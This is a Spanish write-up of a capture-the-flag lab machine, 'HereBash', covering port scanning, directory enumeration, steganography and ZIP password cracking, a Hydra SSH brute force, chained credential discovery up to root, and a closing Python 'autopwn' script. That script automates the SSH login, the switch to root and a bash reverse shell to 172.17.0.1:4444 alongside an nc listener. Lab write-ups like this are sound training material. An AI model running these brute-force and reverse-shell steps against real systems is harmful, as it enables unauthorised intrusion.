> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/herebash-write-up.md).

# HereBash write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/hzToLncyYNDnmGEp6EST" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabillidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/Id3dJ4oEwEVwgqmym05B" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/GNc6w66R7db8kXt25rIr" alt=""><figcaption></figcaption></figure>

Observamos lo que parece la página de apache2 generada por defecto, sin embargo, si lo inspeccionamos de forma cautelosa encontramos lo siguiente:

<figure><img src="/files/7vP3bdYTRydhHSD1wf1K" alt=""><figcaption></figcaption></figure>

Si hacemos clic a la ruta `http:172.17.0.2/spongebob/spongebob.html` vemos lo siguiente:

<figure><img src="/files/Ecwh2tdnIhaZoImaFzsW" alt=""><figcaption></figcaption></figure>

Como no encontramos nada de valor usaremos la herramienta **ferobuxter** para enumerar rutas y archivos ocultos con el siguiente comando:

```bash
feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py,bak,jpg -d 0
```

<figure><img src="/files/ZF2CQ9frGZZ6BXIM4YrJ" alt=""><figcaption></figcaption></figure>

Esto revela la ruta de la imagen `http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg`, así que vamos a descargarla y a buscar en caso de que hubiese un archivo oculto en la imagen.

<figure><img src="/files/dufG6Y3bh0Qz4FCAoO6P" alt=""><figcaption></figcaption></figure>

Para buscar si la imagen tiene un archivo oculto usaremos **steghide** con el siguiente comando:

```bash
stegseek -wl ../rockyou.txt ohnorecallwin.jpg
```

<figure><img src="/files/IHvuCXuY5U3zRFhZExSv" alt=""><figcaption></figcaption></figure>

Esto indica que dentro de la imagen se encontraba el archivo `seguro.zip` y que la palabra clave para obtener el archivo era `spongebob`, así que ahora descomprimiremos el archivo ZIP.

<figure><img src="/files/rCfZC7hRXEbO7khtEqYd" alt=""><figcaption></figcaption></figure>

Pero al intentar descomprimirlo pide una contraseña, por lo tanto, usaremos **zip2jonh** para obtener el hash de la contraseña e intentar romperla.

```bash
zip2john ohnorecallwin.jpg.out > hash
```

<figure><img src="/files/jSaNTMPtAxyztRq4FISk" alt=""><figcaption></figcaption></figure>

Ahora usamos **Jonh the ripper** para romper la contraseña con el siguiente comando:

```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt hash
```

<figure><img src="/files/tOkaqwb6YlPAMEdhQFG5" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña del archivo ZIP es `chocolate`, así que lo descomprimimos.

<figure><img src="/files/Niyn3vfHhGLoh6ZSLcIu" alt=""><figcaption></figcaption></figure>

El archivo `secreto.txt` contiene la palabra `aprendemos`, lo que podría ser una contraseña, así que haremos un ataque de fuerza bruta con la herramienta **Hydra**.

```bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p aprendemos ssh://172.17.0.2 -V -I -u -F -t 4
```

<figure><img src="/files/KcwaS1s3stdXQPzwfGdj" alt=""><figcaption></figcaption></figure>

Con esto podríamos acceder por el servicio SSH a la máquina víctima usando la credencial `rosa:aprendemos`.

<figure><img src="/files/ivNkFK0NMRVBTVadHowg" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una dentro de la máquina víctima encontramos el directorio `/home/rosa/-/`, el cual contiene varios directorios archivos y un script.

<figure><img src="/files/JTYwT6SShhCNWIQuM2nK" alt=""><figcaption></figcaption></figure>

Si analizamos el script observamos que se encarga de crear archivo en carpetas cuyo nombre comience por `busca` para crear 50 archivos que contengan `xxxxxx:xxxxxx`. Así que usaremos el siguiente comando para encontrar un archivo que contenga algo distinto.

```bash
find . -type f ! -name "*.sh" -exec cat {} + | grep -v "xxxxxx:xxxxxx"
```

<figure><img src="/files/AhO4S29bZg8wbKUeVgDz" alt=""><figcaption></figcaption></figure>

Esto revela que la contraseña del usuario `pedro` es `ell0c0`.

<figure><img src="/files/TE5Sdb2tTe2Gdd2ngqiG" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `pedro`, encontramos el archivo `/var/mail/.pass_juan`, el cual contiene lo siguiente:

<figure><img src="/files/X4iItxgzQml6bhO2rq2V" alt=""><figcaption></figcaption></figure>

Así que iniciamos sesión como el usuario `juan` usando como contraseña `ZWxwcmVzaW9uZXMK`.

<figure><img src="/files/UbYfw2Ocdz9sOntvry7Z" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `juan`, encontramos el archivo `/home/juan/.ordenes_nuevas`, el cual contiene lo siguiente:

<figure><img src="/files/dpUu4ctXJLwXFrMy4DUW" alt=""><figcaption></figcaption></figure>

Ahora si inspeccionamos el archivo `.bashrc` encontramos el siguiente alias definido:

<figure><img src="/files/TUX9IOGlngNCXDPD4oyh" alt=""><figcaption></figcaption></figure>

Así que usamos `eljefe` como contraseña para iniciar sesión como usuario `root`.

<figure><img src="/files/d9cyFQ53GyAcWVjzXEJB" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "$ "
send "ssh rosa@172.17.0.2\r"
expect "password:  "
send "aprendemos\r"
expect "*$ "
send "su\r"
sleep 1
expect " "
send "eljefe\r"
sleep 1
expect " "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")


def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def main():

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(0.2)

    os.system("nc -nlvvp 4444 ")

    os.system("rm script1.exp")
    

if __name__ == "__main__":
    main()
```
